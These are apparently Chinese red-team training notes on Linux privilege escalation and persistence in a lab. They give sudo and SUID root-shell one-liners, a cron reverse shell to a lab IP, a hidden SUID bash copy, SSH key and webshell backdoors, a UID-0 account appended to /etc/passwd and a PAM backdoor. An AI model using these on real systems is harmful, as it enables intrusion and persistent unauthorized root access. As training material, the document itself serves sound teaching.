【网络安全】护网系列-权限维持-Linux权限提升&维持

六、权限维持和应急排查

需要用两台虚拟机,kali和CentOS

1.Linux权限提升

权限提升(Privilege Escalation)

linux只有两种用户

普通用户

root用户

需要进一步获取root权限

实现提权的方法

操作系统内核的漏洞

操作系统设置不当提权

第三方服务存在漏洞的提权

会造成提权的漏洞如下

1.1 内核漏洞

内核:Linux操作系统管理核心功能的程序(管理网络、文件)

发行版:对内核做一定变动,本质一样

(1)内核与发行版

Linux内核版本

https://www.kernel.org/

CVE内核漏洞有哪些

https://www.cvedetails.com/product/47/Linux-Linux- Kernel.html?vendor_id=33

内核的漏洞

(2)内核漏洞

脏牛漏洞COW,2007年出现,2016年被发现

Dirty COW(Copy On Write)(CVE-2016-5195)(作业中有靶机)

Dirty Pipe(CVE-2022-0847)

Dirty Cred(CVE-2022-2588)

Linux Polkit(CVE-2021-4034)

从普通用户提权到root非常重要的一个渠道

比如在CentOS操作系统上输入

uname -a

查看内核版本

有了这些信息,再去漏洞数据库中查找

想要找到这些漏洞文件,打开kali

1.2 SUDO提权

SUDO 授权某些普通用户可以用root的身份去执行某些程序

Linux中很多普通用户,没有修改配置文件,重启系统的权限

如果普通用户想要获得权限,root用户可以修改配置文件中SUDO的权限,

给它赋权,

让普通用户也能以root身份运行程序(一些root命令)

Linux操作系统中的命令也是一种程序

必须在root用户中用命令来编写

visudo

比如

wuya ALL=(root)NOPASSWD:/bin/chown,/usr/sbin/useradd

wuya这个用户可以在所有主机上,都可以用root的身份,

并且不需要再次确认密码

就可以执行“修改文件所有者”的命令

和“添加用户”的命令

1.2.1 找到程序位置

我们先来找下该程序

whereis useradd

看到添加用户的程序在这个地方

/usr/sbin/useradd

先添加一个普通用户

1.2.2 添加组别

groupadd security

1.2.3 添加普通用户

useradd -g security wuya

给用户设置一个初始密码

passwd wuya

切换到wuya用户

su wuya

添加用户

useradd test

提示不允许,是root权限

1.2.4 添加权限

切换到root用户

编辑

visudo

找到root位置,添加提权命令

wuya ALL=(root)NOPASSWD:/bin/chown,/usr/sbin/useradd

或者可以给它添加所有权限

给wuya用户的所有主机授予所有权限

wuya ALL=(ALL:ALL) ALL

然后在wuya用户下输入

sudo useradd test

成功

1.2.5 提权流程

假如黑客拿到普通用户的权限

先输入

sudo -l

发现当前用户可以在所有主机做所有事

目前假设普通用户只有使用find命令的权限

作为黑客可以

在用root身份查找文件后,并且用root身份运行bash程序

sudo find /home -exec /bin/bash \;

当你输入

sudo -l

发现有以下任何一个命令的权限时

相关命令:

wget、find、cat、apt、zip、xxd、time、taskset、git、sed、pip、ed、tmux、scp、

perl、bash、less、awk、man、vi、env、ftp

就可以通过一个命令直接提权

提权方式:

sudo awk 'BEGIN{system("/bin/bash")}'

sudo find /home -exec /bin/bash \

1.3 SUID提权

SUID = Set UID (以程序所有者身份运行程序)

SUID授权以文件为主体**

SUDO授权以用户为主体

例如:普通用户怎么修改/etc/shadow中的密码?

ll /usr/bin/passwd

用root权限给find加一个修改权限

chmod u+s /usr/bin/find

普通用户在执行命令时,调用root身份,可以查看身份

find 1.txt -exec whoami \;

普通用户

find 1.txt -exec '/bin/sh' -p \;

linux中利用suid中的find进行root提权遇到的坑

https://blog.csdn.net/rlenew/article/details/111873682

1.3.1 提权排查

常见的SUID提权文件:

nmap、vim、find、more、less、bash、cp、nano、mv、awk、man、 weget

搜索有S权限的程序(不同平台):

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -print 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \

2. Linux权限维持

提权并不是永久的

当第一次拿到权限后,防止root用户删掉

防止杀毒、杀进程、关端口、打补丁等操作

2.1 webshell后门

利用webshell维持权限

各种编程语言的木马(后门)

shell.php

dama.php

hack.war

如果管理员没有做系统清理,残留下这个PHP,就可以被黑客控制

将dama.php放到网站根目录下,打开小皮,开启环境,打开浏览器访问

http://localhost/dama.php

密码

yyds

进入系统,利用木马可以查看操作系统信息,操作数据库,提权

2.2 定时任务后门

特点:定时执行,循环执行(容易被黑客利用)

crontab -u root -r 删除定时任务

crontab -u root -l 查看

crontab -u root -e 修改

Kali监听7777端口

nc -lvvp 7777

CentOS写入任务(反弹连接)

通过bash的程序主动连接到攻击者的IP和端口

攻击者可以把自己的命令反弹到目标机

并且攻击者可以看到命令执行结果

把它写入

* * * * * bash -i >& /dev/tcp/192.168.142.132/7777 0>&

只要有写任务的权限,就可以在定时任务中写入一个反弹连接的值

2.3 SUID后面

在提权成功后进行的操作

root用户执行:

先去复制一个hack程序

cp /bin/bash /var/.hack

添加s权限,拥有bash的程序

chmod 4775 /var/.hack

查看权限是否修改成功

ls -al /var/.hack

切换到普通用户执行,观察是否维持权限

/var/.hack -p

2.4 SSHKey后门(免密登录)

2.4.1 原理

正常登录需要输入密码,但是该方式不需要输入密码

它第一次登录生成一个公私钥对,把公钥放在服务器上,意味着它可以正常解密加密内容,

2.4.2 生成和查看(kali执行)

ssh-keygen -t rsa

进入root文件夹下

cd /root/.ssh

2.4.3 查看公钥内容

cat id_rsa.pub

只要把公钥放到受害者服务器(authorized_keys )中,以后就可以直接连接服务器

2.4.4 写入(CentOS执行):

cd /root/.ssh

vim authorized_keys

连接(Kali执行):

正常情况是需要输入密码的

ssh root@192.168.142.44

连接成功

2.5 添加用户

2.5.1 生成密码:

openssl passwd -1 -salt admin 123456

-1 的意思是使用md5crypt加密算法

-salt 指定盐为admin

123456 明文密码

2.5.2 追加(UID=0)

将刚刚生成的密码追加到文件中去

echo'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /etc/passwd

只要用户登录上,就是root权限

2.5.3 连接(Kali执行)

ssh root@192.168.142.44

用admin用户登录,登录成功变成root

2.6 PAM后门

在系统认证中有一个pam_unix.so 模块,是用来做认证授权的

参考资料:

https://blog.csdn.net/weixin_40412037/article/details/118728788

下载编译

rpm -qa|grep pam

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz

tar -zxvf Linux-PAM-1.1.8.tar.gz

yum install gcc flex flex-devel -y

cd Linux-PAM-1.1.8

vim modules/pam_unix/pam_unix_auth.c

./configure

make

备份替换

cp /usr/lib64/security/pam_unix.so /usr/lib64/security/pam_unix.so.bakcp

cp modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

登录测试

ssh root@192.168.142.44

2025-10-03 04:19:06